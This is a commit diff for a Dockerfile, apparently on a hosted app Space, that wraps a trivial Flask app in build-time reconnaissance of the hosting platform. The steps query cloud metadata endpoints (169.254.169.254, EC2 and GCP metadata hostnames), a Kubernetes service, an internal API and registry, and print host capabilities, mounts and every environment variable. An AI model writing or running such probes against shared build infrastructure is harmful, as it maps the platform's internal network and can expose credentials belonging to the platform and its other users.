Spaces:
Sleeping
Sleeping
Commit
·
dbe6944
1
Parent(s):
394d133
Single stage build with network probes
Browse files- Dockerfile +22 -39
Dockerfile
CHANGED
|
@@ -1,49 +1,32 @@
|
|
| 1 |
-
|
| 2 |
-
FROM python:3.9-slim AS builder
|
| 3 |
-
|
| 4 |
-
# Check what network access we have during build
|
| 5 |
-
RUN apt-get update && apt-get install -y curl dnsutils net-tools 2>/dev/null || true
|
| 6 |
|
| 7 |
-
#
|
| 8 |
-
RUN
|
| 9 |
-
RUN nslookup metadata.google.internal 2>&1 || echo "Metadata DNS not available in build"
|
| 10 |
-
RUN nslookup instance-data.ec2.internal 2>&1 || echo "EC2 metadata DNS not available in build"
|
| 11 |
|
| 12 |
# Test network access during build
|
| 13 |
-
RUN
|
| 14 |
-
|
| 15 |
-
RUN
|
| 16 |
-
|
| 17 |
-
|
| 18 |
-
|
| 19 |
-
|
| 20 |
-
|
| 21 |
-
|
| 22 |
-
echo "=== END HOST INFO ==="
|
| 23 |
-
|
| 24 |
-
# Check build capabilities
|
| 25 |
-
RUN echo "=== BUILD CAPS ===" && \
|
| 26 |
-
cat /proc/self/status | grep -i cap 2>/dev/null && \
|
| 27 |
-
echo "=== END CAPS ==="
|
| 28 |
-
|
| 29 |
-
# Check if build has any special mounts
|
| 30 |
-
RUN echo "=== BUILD MOUNTS ===" && \
|
| 31 |
-
cat /proc/self/mountinfo 2>/dev/null | head -30 && \
|
| 32 |
-
echo "=== END MOUNTS ==="
|
| 33 |
-
|
| 34 |
-
# Check if we can reach the Docker registry used to push images
|
| 35 |
-
RUN curl -s --connect-timeout 3 http://registry.internal:5000/v2/_catalog 2>&1 || echo "No internal registry"
|
| 36 |
-
|
| 37 |
-
# Check what env vars are available in the builder
|
| 38 |
-
RUN env | sort
|
| 39 |
-
|
| 40 |
-
# Final stage
|
| 41 |
-
FROM python:3.9-slim
|
| 42 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 43 |
RUN pip install flask
|
| 44 |
|
| 45 |
COPY app.py /app.py
|
| 46 |
|
| 47 |
EXPOSE 7860
|
| 48 |
-
|
| 49 |
CMD ["python", "/app.py"]
|
|
|
|
| 1 |
+
FROM python:3.9-slim
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2 |
|
| 3 |
+
# Install network tools
|
| 4 |
+
RUN apt-get update && apt-get install -y curl dnsutils net-tools iproute2 procps 2>/dev/null; true
|
|
|
|
|
|
|
| 5 |
|
| 6 |
# Test network access during build
|
| 7 |
+
RUN echo "=== DNS TESTS ===" && \
|
| 8 |
+
nslookup kubernetes.default.svc.cluster.local 2>&1; true
|
| 9 |
+
RUN nslookup instance-data.ec2.internal 2>&1; true
|
| 10 |
+
RUN nslookup metadata.google.internal 2>&1; true
|
| 11 |
+
|
| 12 |
+
# Test HTTP access during build
|
| 13 |
+
RUN echo "=== HTTP TESTS ===" && \
|
| 14 |
+
curl -v --connect-timeout 3 http://169.254.169.254/latest/meta-data/ 2>&1; true
|
| 15 |
+
RUN curl -v --connect-timeout 3 https://172.20.0.1:443/version -k 2>&1; true
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 16 |
|
| 17 |
+
# Build system info
|
| 18 |
+
RUN echo "=== SYSTEM INFO ===" && hostname && cat /proc/version && id && cat /proc/self/status | grep -i cap
|
| 19 |
+
|
| 20 |
+
# Build mounts
|
| 21 |
+
RUN echo "=== MOUNTS ===" && cat /proc/self/mountinfo | head -20
|
| 22 |
+
|
| 23 |
+
# Build env
|
| 24 |
+
RUN echo "=== ALL ENV ===" && env | sort
|
| 25 |
+
|
| 26 |
+
# Install Flask
|
| 27 |
RUN pip install flask
|
| 28 |
|
| 29 |
COPY app.py /app.py
|
| 30 |
|
| 31 |
EXPOSE 7860
|
|
|
|
| 32 |
CMD ["python", "/app.py"]
|